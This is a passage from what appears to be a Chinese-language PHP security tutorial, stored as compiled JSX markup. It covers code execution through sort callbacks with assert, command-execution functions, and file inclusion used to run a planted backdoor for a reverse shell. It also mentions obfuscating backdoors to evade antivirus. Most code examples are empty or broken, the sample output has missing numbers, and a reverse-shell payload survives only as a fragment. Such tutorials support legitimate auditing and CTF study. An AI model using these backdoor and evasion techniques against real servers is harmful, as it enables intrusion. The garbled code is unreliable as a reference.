x=phpinfo();\n"})}),"\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.code,{children:"usort"}),"\u7684\u53c2\u6570\u901a\u8fc7GET\u4f20\u53c2\uff0c\u7b2c\u4e00\u4e2a\u53c2\u6570\u4e5f\u5c31\u662f",(0,r.jsx)(n.code,{children:"$_GET[0]"}),"\uff0c\u968f\u4fbf\u4f20\u5165\u4e00\u4e2a\u6570\u5b57\u5373\u53ef\u3002\u7b2c\u4e8c\u4e2a\u53c2\u6570\u4e5f\u5c31\u662f",(0,r.jsx)(n.code,{children:"$_GET[1]"}),"\u662f\u6211\u4eec\u8981\u8c03\u7528\u7684\u51fd\u6570\u540d\u79f0\uff0c\u8fd9\u91cc\u91c7\u7528\u7684\u662f",(0,r.jsx)(n.code,{children:"assert"}),"\u51fd\u6570\u3002"]}),"\n",(0,r.jsx)(n.p,{children:"\u6267\u884c\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648344.png",alt:"img"})}),"\n",(0,r.jsx)(n.h4,{id:"uasort",children:"uasort()"}),"\n",(0,r.jsx)(n.p,{children:"\u8fd9\u4e2a\u8ddf\u4e0a\u4e00\u4e2a\u5dee\u4e0d\u591a\uff0c\u533a\u522b\u4e0d\u662f\u5f88\u5927\u3002\u6b64\u51fd\u6570\u5bf9\u6570\u7ec4\u6392\u5e8f\u5e76\u4fdd\u6301\u7d22\u5f15\u548c\u5355\u5143\u4e4b\u95f4\u7684\u5173\u8054\u3002\u4e5f\u5c31\u662f\u8bf4\u4f60\u8fd9\u4e2a\u6392\u5b8c\u5e8f\u4e4b\u540e\u5462\uff0c\u5b83\u539f\u6765\u5bf9\u5e94\u7684\u7d22\u5f15\u4e5f\u4f1a\u76f8\u5e94\u6539\u53d8\uff0c\u7c7b\u4f3c\u4e8e\u201c\u7ed1\u5b9a\u201d\u3002"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"uasort( array &$array, callable $value_compare_func) : bool\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-7",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"array\uff1a\u8f93\u5165\u7684\u6570\u7ec4"}),"\n",(0,r.jsx)(n.li,{children:"value_compare_func\uff1a\u7528\u6237\u81ea\u5b9a\u4e49\u7684\u51fd\u6570"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u8fd9\u91cc\u7528\u7684\u4ecd\u7136\u5b98\u65b9\u4f8b\u5b50\uff08\u6bd4\u8f83\u597d\u7406\u89e3\uff09"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:" 4, 'b' => 8, 'c' => -1, 'd' => -9, 'e' => 2, 'f' => 5, 'g' => 3, 'h' => -4);\nprint_r($array);\n\n// Sort and print the resulting array\nuasort($array, 'cmp');\nprint\n?>\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nArray\n(\n [a] => [b] => [c] => - [d] => - [e] => [f] => [g] => [h] => -)\nArray\n(\n [d] => - [h] => - [c] => - [e] => [g] => [a] => [f] => [b] => )\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u6211\u4eec\u53d1\u73b0\uff0c\u5728\u6392\u5b8c\u5e8f\u4e4b\u540e\u7d22\u5f15\u4e5f\u8ddf\u7740\u503c\u7684\u4f4d\u7f6e\u53d8\u5316\u800c\u53d8\u5316\u4e86\u3002\u90a3\u4e48\u4ee3\u7801\u6267\u884c\u7684\u793a\u4f8b\u4ee3\u7801\u5176\u5b9e\u4e5f\u548c\u4e0a\u4e00\u4e2a\u5dee\u4e0d\u591a\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u6267\u884c\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648345.png",alt:"img"})}),"\n",(0,r.jsx)(n.h4,{id:"\u603b\u7ed3",children:"\u603b\u7ed3"}),"\n",(0,r.jsx)(n.p,{children:"\u770b\u5b8c\u8fd9\u91cc\u4e0d\u77e5\u9053\u4f60\u5bf9\u4ee3\u7801\u5ba1\u8ba1\u4e2d\u7684\u4ee3\u7801\u6267\u884c\u90e8\u5206\u662f\u5426\u6709\u53e6\u4e00\u79cd\u60f3\u6cd5\uff1f\u6211\u7684\u60f3\u6cd5\u5c31\u662f\u8fd9\u4e2a\u662f\u548c\u540e\u95e8\u8054\u7cfb\u5728\u4e00\u8d77\u7684\u3002\u6211\u4eec\u53ef\u4ee5\u770b\u5230\u5f88\u591a\u51fd\u6570\u90fd\u5177\u6709\u6784\u9020\u6267\u884c\u547d\u4ee4\u7684\u6761\u4ef6\uff0c\u800c\u4e14\u5176\u4e2d\u5f88\u591a\u51fd\u6570\u4e5f\u7684\u786e\u88ab\u7528\u5728\u540e\u95e8\u4e2d\uff0c\u7279\u522b\u50cf\u540e\u9762\u51e0\u4e2a\u56de\u8c03\u51fd\u6570\uff0c\u5728\u540e\u95e8\u4e2d\u66f4\u662f\u5e38\u89c1\u3002\u5f53\u7136\u8fd9\u4e9b\u540e\u95e8\u51fd\u6570\u4e5f\u65e9\u5df2\u88ab\u5b89\u5168\u5382\u5546\u76ef\u4f4f\uff0c\u6240\u4ee5\u5927\u90e8\u5206\u5df2\u7ecf\u65e0\u6cd5\u76f4\u63a5\u514d\u6740\uff0c\u6240\u4ee5\u60f3\u8981\u514d\u6740\u5c31\u9700\u8981\u7ed3\u5408\u5176\u4ed6\u59ff\u52bf\uff0c\u6bd4\u5982\u66ff\u6362\u3001\u62fc\u63a5\u3001\u52a0\u5bc6\u7b49\u7b49\u3002\u4f46\u662f\u8fd9\u4e9b\u77e5\u8bc6\u5728CTF\u4e2d\u8fd8\u662f\u6bd4\u8f83\u5bb9\u6613\u51fa\u73b0\u7684\u3002"}),"\n",(0,r.jsx)(n.h3,{id:"\u547d\u4ee4\u6267\u884c",children:"\u547d\u4ee4\u6267\u884c"}),"\n",(0,r.jsx)(n.p,{children:"\u8bf4\u5b8c\u4ee3\u7801\u6267\u884c\uff0c\u6211\u4eec\u518d\u6765\u770b\u770b\u547d\u4ee4\u6267\u884c\u3002\u5e38\u89c1\u7684\u547d\u4ee4\u6267\u884c\u51fd\u6570\u6709\u54ea\u4e9b\u5462\uff1f"}),"\n",(0,r.jsx)(n.h4,{id:"system",children:"system()"}),"\n",(0,r.jsx)(n.p,{children:"\u8fd9\u4e2a\u51fd\u6570\u60f3\u5fc5\u6211\u4eec\u90fd\u662f\u6bd4\u8f83\u719f\u6089\u7684\uff0c\u6b64\u51fd\u6570\u5c31\u662f\u6267\u884c\u5916\u90e8\u6307\u4ee4\uff0c\u5e76\u4e14\u663e\u793a\u8f93\u51fa"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"system( string $command[, int &$return_var] ) : string\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-8",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"command\uff1a\u5fc5\u9700\u3002\u8981\u6267\u884c\u7684\u547d\u4ee4"}),"\n",(0,r.jsx)(n.li,{children:"return_var\uff1a\u53ef\u9009\u3002\u82e5\u8bbe\u7f6e\u4e86\u8fd9\u4e2a\u53c2\u6570\uff0c\u90a3\u4e48\u547d\u4ee4\u6267\u884c\u540e\u7684\u8fd4\u56de\u72b6\u6001\u5c31\u4f1a\u88ab\u653e\u5230\u8fd9\u4e2a\u53d8\u91cf\u4e2d"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u793a\u4f8b\u4ee3\u7801\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\ndesktop-m61j5j6\\admin\n"})}),"\n",(0,r.jsx)(n.h4,{id:"exec",children:"exec()"}),"\n",(0,r.jsxs)(n.p,{children:["\u8fd9\u4e2a\u5176\u5b9e\u548c\u4e0a\u9762",(0,r.jsx)(n.code,{children:"system"}),"\u51fd\u6570\u6ca1\u6709\u592a\u5927\u533a\u522b\uff0c\u90fd\u662f\u6267\u884c\u5916\u90e8\u7a0b\u5e8f\u6307\u4ee4\uff0c\u53ea\u4e0d\u8fc7\u8fd9\u4e2a\u51fd\u6570\u591a\u4e86\u4e00\u4e2a\u53c2\u6570\uff0c\u53ef\u4ee5\u8ba9\u6211\u4eec\u628a\u547d\u4ee4\u6267\u884c\u8f93\u51fa\u7684\u7ed3\u679c\u4fdd\u5b58\u5230\u4e00\u4e2a\u6570\u7ec4\u4e2d\u3002"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"exec( string $command[, array &$output[, int &$return_var]] ) : string\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-9",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"command\uff1a\u5fc5\u9700\u3002\u8981\u6267\u884c\u7684\u547d\u4ee4"}),"\n",(0,r.jsx)(n.li,{children:"output\uff1a\u53ef\u9009\u3002\u5982\u679c\u8bbe\u7f6e\u4e86\u6b64\u53c2\u6570\uff0c\u90a3\u4e48\u547d\u4ee4\u6267\u884c\u7684\u7ed3\u679c\u5c06\u4f1a\u4fdd\u5b58\u5230\u6b64\u6570\u7ec4\u3002"}),"\n",(0,r.jsx)(n.li,{children:"return_var\uff1a\u53ef\u9009\u3002\u547d\u4ee4\u6267\u884c\u7684\u8fd4\u56de\u72b6\u6001\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n\n\u6267\u884c\u7ed3\u679c\u2014\u2014>\ndesktop-m61j5j6\\admin\n"})}),"\n",(0,r.jsx)(n.h4,{id:"shell_exec",children:"shell_exec()"}),"\n",(0,r.jsxs)(n.p,{children:["\u6b64\u51fd\u6570\u901a\u8fc7shell\u73af\u5883\u6267\u884c\u547d\u4ee4\uff0c\u5e76\u4e14\u5c06\u5b8c\u6574\u7684\u8f93\u51fa\u4ee5\u5b57\u7b26\u4e32\u7684\u65b9\u5f0f\u8fd4\u56de\u3002\u5982\u679c\u6267\u884c\u8fc7\u7a0b\u4e2d\u53d1\u751f\u9519\u8bef\u6216\u8005\u8fdb\u7a0b\u4e0d\u4ea7\u751f\u8f93\u51fa\uff0c\u90a3\u4e48\u5c31\u8fd4\u56de",(0,r.jsx)(n.code,{children:"NULL"})]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"shell_exec( string $cmd) : string\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-10",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"cmd\uff1a\u8981\u6267\u884c\u7684\u547d\u4ee4"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\ndesktop-m61j5j6\\admin\n"})}),"\n",(0,r.jsx)(n.h4,{id:"passthru",children:"passthru()"}),"\n",(0,r.jsxs)(n.p,{children:["\u6267\u884c\u5916\u90e8\u7a0b\u5e8f\u5e76\u4e14\u663e\u793a\u539f\u59cb\u8f93\u51fa\u3002\u65e2\u7136\u6211\u4eec\u5df2\u7ecf\u6709\u6267\u884c\u547d\u4ee4\u7684\u51fd\u6570\u4e86\uff0c\u90a3\u4e48\u8fd9\u4e2a\u51fd\u6570\u6211\u4eec\u4ec0\u4e48\u65f6\u5019\u4f1a\u7528\u5230\u5462\uff1f\u5f53\u6240\u6267\u884c\u7684Unix\u547d\u4ee4\u8f93\u51fa\u4e8c\u8fdb\u5236\u6570\u636e\uff0c\u5e76\u4e14\u9700\u8981\u76f4\u63a5\u4f20\u9001\u5230\u6d4f\u89c8\u5668\u7684\u65f6\u5019\uff0c\u9700\u8981\u7528\u6b64\u51fd\u6570\u6765\u66ff\u4ee3",(0,r.jsx)(n.code,{children:"exec()"}),"\u6216",(0,r.jsx)(n.code,{children:"system()"}),"\u51fd\u6570"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"passthru( string $command[, int &$return_var] ) : void\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-11",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"command\uff1a\u8981\u6267\u884c\u7684\u547d\u4ee4"}),"\n",(0,r.jsx)(n.li,{children:"return_var\uff1aUnix\u547d\u4ee4\u7684\u8fd4\u56de\u72b6\u6001\u5c06\u88ab\u8bb0\u5f55\u5230\u6b64\u51fd\u6570\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\u7b2c\u4e00\u4f60\u53ef\u4ee5\u8fd9\u4e48\u5199\n\n\u7b2c\u4e8c\u4f60\u53ef\u4ee5\u8fd9\u4e48\u5199\n\n"})}),"\n",(0,r.jsx)(n.h4,{id:"pcntl_exec",children:"pcntl_exec()"}),"\n",(0,r.jsx)(n.p,{children:"\u5728\u5f53\u524d\u8fdb\u7a0b\u7a7a\u95f4\u6267\u884c\u6307\u5b9a\u7a0b\u5e8f\u3002\u5173\u952e\u70b9\u5c31\u5728\u4e8e\u8fdb\u7a0b\u7a7a\u95f4\uff0c\u5018\u82e5\u6211\u73b0\u5728\u8bbe\u5b9a\u4e00\u4e2a\u6761\u4ef6\uff0c\u4f60\u53ea\u6709\u5728\u67d0\u4e2a\u5b50\u8fdb\u7a0b\u4e2d\u624d\u80fd\u8bfb\u53d6phpinfo\uff0c\u90a3\u8fd9\u4e2a\u65f6\u5019\uff0c\u6211\u4eec\u5c31\u9700\u8981\u7528\u5230\u8fd9\u4e2a\u51fd\u6570\u4e86\u3002"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"pcntl_exec( string $path[, array $args[, array $envs]] ) : void\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-12",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"path\uff1apath\u5fc5\u987b\u65f6\u53ef\u6267\u884c\u4e8c\u8fdb\u5236\u6587\u4ef6\u8def\u5f84\u6216\u5728\u4e00\u4e2a\u6587\u4ef6\u7b2c\u4e00\u884c\u6307\u5b9a\u4e86\u4e00\u4e2a\u53ef\u6267\u884c\u6587\u4ef6\u8def\u5f84\u6807\u5934\u7684\u811a\u672c(\u6bd4\u5982\u6587\u4ef6\u7b2c\u4e00\u884c\u662f#!/usr/local/bin/perl\u7684perl\u811a\u672c)"}),"\n",(0,r.jsx)(n.li,{children:"args\uff1a\u6b64\u53c2\u6570\u662f\u4e00\u4e2a\u4f20\u9012\u7ed9\u7a0b\u5e8f\u7684\u53c2\u6570\u7684\u5b57\u7b26\u4e32\u6570\u7ec4"}),"\n",(0,r.jsx)(n.li,{children:"envs\uff1a\u73af\u5883\u53d8\u91cf\uff0c\u8fd9\u4e2a\u60f3\u5fc5\u5927\u5bb6\u90fd\u5f88\u719f\u6089\uff0c\u53ea\u4e0d\u8fc7\u8fd9\u91cc\u5f3a\u8c03\u4e00\u70b9\uff0c\u8fd9\u91cc\u4f20\u5165\u7684\u662f\u6570\u7ec4\uff0c\u6570\u7ec4\u683c\u5f0f\u662f key => value\u683c\u5f0f\u7684\uff0ckey\u4ee3\u8868\u8981\u4f20\u9012\u7684\u73af\u5883\u53d8\u91cf\u7684\u540d\u79f0\uff0cvalue\u4ee3\u8868\u8be5\u73af\u5883\u53d8\u91cf\u503c\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u793a\u4f8b\u4ee3\u7801\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"//father\n\n"})}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"//son\n\n"})}),"\n",(0,r.jsx)(n.h4,{id:"popen",children:"popen()"}),"\n",(0,r.jsx)(n.p,{children:"\u6b64\u51fd\u6570\u4f7f\u7528command\u53c2\u6570\u6253\u5f00\u8fdb\u7a0b\u6587\u4ef6\u6307\u9488\u3002\u5982\u679c\u51fa\u9519\uff0c\u90a3\u4e48\u8be5\u51fd\u6570\u5c31\u4f1a\u8fd4\u56deFALSE\u3002"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"popen(command,mode)\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-13",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"command\uff1a\u8981\u6267\u884c\u7684\u547d\u4ee4"}),"\n",(0,r.jsxs)(n.li,{children:["mode\uff1a\u5fc5\u9700\u3002\u89c4\u5b9a\u8fde\u63a5\u7684\u6a21\u5f0f\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"r\uff1a\u53ea\u8bfb"}),"\n",(0,r.jsx)(n.li,{children:"w\uff1a\u53ea\u5199\uff08\u6253\u5f00\u5e76\u6e05\u7a7a\u5df2\u6709\u6587\u4ef6\u6216\u521b\u5efa\u4e00\u4e2a\u65b0\u6587\u4ef6\uff09"}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'\n\n\n'})}),"\n",(0,r.jsx)(n.h4,{id:"proc_open",children:"proc_open()"}),"\n",(0,r.jsx)(n.p,{children:"\u6b64\u51fd\u6570\u6267\u884c\u4e00\u4e2a\u547d\u4ee4\uff0c\u5e76\u4e14\u6253\u5f00\u7528\u6765\u8f93\u5165\u6216\u8005\u8f93\u51fa\u7684\u6587\u4ef6\u6307\u9488"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"proc_open( string $cmd, array $descriptorspec, array &$pipes[, string $cwd = NULL[, array $env = NULL[, array $other_options = NULL]]] ) \n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u6b64\u51fd\u6570\u5176\u5b9e\u548c",(0,r.jsx)(n.code,{children:"popen"}),"\u51fd\u6570\u7c7b\u4f3c\uff0c\u90fd\u662f\u6267\u884c\u547d\u4ee4"]}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-14",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"cmd\uff1a\u8981\u6267\u884c\u7684\u547d\u4ee4"}),"\n",(0,r.jsx)(n.li,{children:"descriptorspec\uff1a\u7d22\u5f15\u6570\u7ec4\u3002\u6570\u7ec4\u4e2d\u7684\u952e\u503c\u8868\u793a\u63cf\u8ff0\u7b26\uff0c\u5143\u7d20\u503c\u8868\u793a PHP \u5982\u4f55\u5c06\u8fd9\u4e9b\u63cf\u8ff0\u7b26\u4f20\u9001\u81f3\u5b50\u8fdb\u7a0b\u30020 \u8868\u793a\u6807\u51c6\u8f93\u5165\uff08stdin\uff09\uff0c1 \u8868\u793a\u6807\u51c6\u8f93\u51fa\uff08stdout\uff09\uff0c2 \u8868\u793a\u6807\u51c6\u9519\u8bef\uff08stderr\uff09\u3002"}),"\n",(0,r.jsx)(n.li,{children:"pipes\uff1a\u5c06\u88ab\u7f6e\u4e3a\u7d22\u5f15\u6570\u7ec4\uff0c\u5176\u4e2d\u7684\u5143\u7d20\u662f\u88ab\u6267\u884c\u7a0b\u5e8f\u521b\u5efa\u7684\u7ba1\u9053\u5bf9\u5e94\u5230PHP\u8fd9\u4e00\u6bb5\u7684\u6587\u4ef6\u6307\u9488\u3002"}),"\n",(0,r.jsx)(n.li,{children:"cwd\uff1a\u8981\u6267\u884c\u547d\u4ee4\u7684\u521d\u59cb\u5de5\u4f5c\u76ee\u5f55\u3002\u5fc5\u9700\u662f\u7edd\u5bf9\u8def\u5f84\u3002\u6b64\u53c2\u6570\u9ed8\u8ba4\u4f7f\u7528 NULL\uff08\u8868\u793a\u5f53\u524d PHP \u8fdb\u7a0b\u7684\u5de5\u4f5c\u76ee\u5f55\uff09"}),"\n",(0,r.jsx)(n.li,{children:"env\u3002\u8981\u6267\u884c\u547d\u4ee4\u6240\u4f7f\u7528\u7684\u73af\u5883\u53d8\u91cf\u3002\u6b64\u53c2\u6570\u9ed8\u8ba4\u4e3a NULL\uff08\u8868\u793a\u548c\u5f53\u524d PHP \u8fdb\u7a0b\u76f8\u540c\u7684\u73af\u5883\u53d8\u91cf\uff09"}),"\n",(0,r.jsxs)(n.li,{children:["other_options\uff1a\u53ef\u9009\u3002\u9644\u52a0\u9009\u9879\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"suppress_errors \uff08\u4ec5\u7528\u4e8e Windows \u5e73\u53f0\uff09\uff1a\u8bbe\u7f6e\u4e3a TRUE \u8868\u793a\u6291\u5236\u672c\u51fd\u6570\u4ea7\u751f\u7684\u9519\u8bef\u3002"}),"\n",(0,r.jsx)(n.li,{children:"bypass_shell \uff08\u4ec5\u7528\u4e8e Windows \u5e73\u53f0\uff09\uff1a\u8bbe\u7f6e\u4e3a TRUE \u8868\u793a\u7ed5\u8fc7 cmd.exe shell\u3002"}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u8bf4\u767d\u4e86\uff0c\u5176\u5b9e\u5c31\u662f\u6267\u884c\u547d\u4ee4\uff0c\u53ea\u4e0d\u8fc7\u5176\u4e2d\u591a\u4e86\u4e00\u4e9b\u9009\u9879\uff0c\u5305\u62ec\u76ee\u5f55\u7684\uff0c\u73af\u5883\u53d8\u91cf\u7684\u7b49\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u793a\u4f8b\u4ee3\u7801\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'$descriptorspec = array(\n\t\t\t0 => array("pipe", "r"),\t//\u6807\u51c6\u8f93\u5165\uff0c\u5b50\u8fdb\u7a0b\u4ece\u6b64\u7ba1\u9053\u8bfb\u53d6\u6570\u636e\n\t\t\t1 => array("pipe", "w"),\t//\u6807\u51c6\u8f93\u51fa\uff0c\u5b50\u8fdb\u7a0b\u5411\u6b64\u7ba1\u9053\u5199\u5165\u6570\u636e\n\t\t\t2 => array("file", "/opt/figli/php/error-output.txt","a")\t//\u6807\u51c6\u9519\u8bef\uff0c\u5199\u5165\u5230\u6307\u5b9a\u6587\u4ef6\n\t\t\t);\n \n \n\t$process = proc_open("ls -a", $descriptorspec, $pipes);\n \n\tif(is_resource($process)){\n \n\t\techo stream_get_contents($pipes[1]);\n\t\tfclose($pipes[1]);\n \n\t\tproc_close($process);\t//\u5728\u8c03\u7528proc_close\u4e4b\u524d\u5fc5\u987b\u5173\u95ed\u6240\u6709\u7ba1\u9053\n\t}\n'})}),"\n",(0,r.jsx)(n.h3,{id:"\u6587\u4ef6\u5305\u542b",children:"\u6587\u4ef6\u5305\u542b"}),"\n",(0,r.jsx)(n.h4,{id:"include",children:"include()"}),"\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.code,{children:"include"}),"\u5c06\u4f1a\u5305\u542b\u8bed\u53e5\u5e76\u6267\u884c\u6307\u5b9a\u6587\u4ef6"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"include 'filename';\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u5173\u952e\u70b9\u5c31\u5728\u4e8e\u6267\u884c\u6307\u5b9a\u6587\u4ef6\uff0c\u6267\u884c\u7ed9\u4e86\u6211\u4eec\u4ee3\u7801\u6267\u884c\u7684\u673a\u4f1a\u3002\u5018\u82e5\u6b64\u65f6\u6211\u4eec\u6784\u9020\u4e86\u4e00\u4e2a\u540e\u95e8\u6587\u4ef6\uff0c\u9700\u8981\u5728\u76ee\u6807\u673a\u5668\u6267\u884c\u8fdb\u884cshell\u53cd\u5f39\uff0c\u90a3\u4e48\u5982\u679c\u4ee3\u7801\u4e2d\u6709",(0,r.jsx)(n.code,{children:"include"}),"\u800c\u4e14\u6ca1\u6709\u8fdb\u884c\u8fc7\u6ee4\uff0c\u90a3\u4e48\u6211\u4eec\u5c31\u53ef\u4ee5\u4f7f\u7528\u8be5\u51fd\u6570\u6765\u6267\u884c\u6211\u4eec\u7684\u540e\u95e8\u51fd\u6570\u3002\u4e0b\u9762\u6211\u6765\u6f14\u793a\u4e00\u4e0b\u3002"]}),"\n",(0,r.jsx)(n.p,{children:"\u793a\u4f8b\u4ee3\u7801(1.php)\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u793a\u4f8b\u4ee3\u7801(2.php)\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'&3 2>&3");\n\techo \'

[*]backdoor is running!

\';\n?>\n'})}),"\n",(0,r.jsx)(n.p,{children:"\u6267\u884c\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648346.png",alt:"img"})}),"\n",(0,r.jsx)(n.h4,{id:"include_once",children:"include_once()"}),"\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.code,{children:"include_once"}),"\u4e0e",(0,r.jsx)(n.code,{children:"include"}),"\u6ca1\u6709\u592a\u5927\u533a\u522b\uff0c\u552f\u4e00\u7684\u5176\u533a\u522b\u5df2\u7ecf\u5728\u540d\u79f0\u4e2d\u4f53\u73b0\u4e86\uff0c\u5c31\u662f\u76f8\u540c\u7684\u6587\u4ef6\u53ea\u5305\u542b\u4e00\u6b21\u3002\u5176\u4ed6\u529f\u80fd\u548c",(0,r.jsx)(n.code,{children:"include_once"}),"\u4e00\u6837\uff0c\u53ea\u662f\u589e\u52a0\u5bf9\u6bcf\u4e2a\u6587\u4ef6\u5305\u542b\u7684\u6b21\u6570\u3002"]}),"\n",(0,r.jsx)(n.h4,{id:"require",children:"require()"}),"\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.code,{children:"require"}),"\u7684\u5b9e\u73b0\u548c",(0,r.jsx)(n.code,{children:"include"}),"\u529f\u80fd\u51e0\u4e4e\u5b8c\u5168\u76f8\u540c\uff0c\u90a3\u65e2\u7136\u4e00\u6837\u4e3a\u4ec0\u4e48\u8fd8\u8981\u591a\u4e00\u4e2a\u8fd9\u6837\u7684\u51fd\u6570\u5462\uff1f( \u6211\u4e5f\u4e0d\u77e5\u9053)"]}),"\n",(0,r.jsx)(n.p,{children:"\u5176\u5b9e\u4e24\u8005\u8fd8\u662f\u6709\u70b9\u533a\u522b\u7684\uff0c\u4ec0\u4e48\u533a\u522b\u5462\uff1f\u8fd9\u4e48\u8bf4\uff0c\u5982\u679c\u4f60\u5305\u542b\u7684\u6587\u4ef6\u7684\u4ee3\u7801\u91cc\u9762\u6709\u9519\u8bef\uff0c\u4f60\u89c9\u5f97\u4f1a\u53d1\u751f\u4ec0\u4e48\uff1f\u662f\u7ee7\u7eed\u6267\u884c\u5305\u542b\u7684\u6587\u4ef6\uff0c\u8fd8\u662f\u505c\u6b62\u6267\u884c\u5462\uff1f\u6240\u4ee5\u533a\u522b\u5c31\u5728\u8fd9\u91cc\u4ea7\u751f\u4e86\u3002"}),"\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.code,{children:"require"}),"\u5728\u51fa\u9519\u65f6\u4f1a\u5bfc\u81f4\u811a\u672c\u7ec8\u6b62\uff0c\u800c",(0,r.jsx)(n.code,{children:"include"}),"\u5728\u51fa\u9519\u65f6\u53ea\u662f\u53d1\u751f\u8b66\u544a\uff0c\u811a\u672c\u8fd8\u662f\u7ee7\u7eed\u6267\u884c\u3002"]}),"\n",(0,r.jsx)(n.h4,{id:"require_once",children:"require_once()"}),"\n",(0,r.jsxs)(n.p,{children:["\u8fd9\u4e2a\u6211\u89c9\u5f97\u4f60\u770b\u5b8c\u4e0a\u9762\u7684\uff0c\u5e94\u8be5\u5c31\u61c2\u4e86\u3002\u8fd9\u4e24\u8005\u5173\u7cfb\u548c",(0,r.jsx)(n.code,{children:"include"}),"\u4e0e",(0,r.jsx)(n.code,{children:"include_once"}),"\u7684\u5173\u7cfb\u662f\u4e00\u6837\u7684\u3002"]}),"\n",(0,r.jsx)(n.h4,{id:"\u603b\u7ed3-1",children:"\u603b\u7ed3"}),"\n",(0,r.jsx)(n.p,{children:"\u6587\u4ef6\u5305\u542b\u6709\u5f88\u591a\u5229\u7528\u624b\u6bb5\uff0c\u5176\u4e2d\u5728\u5b9e\u9645\u73af\u5883\u4e2d\uff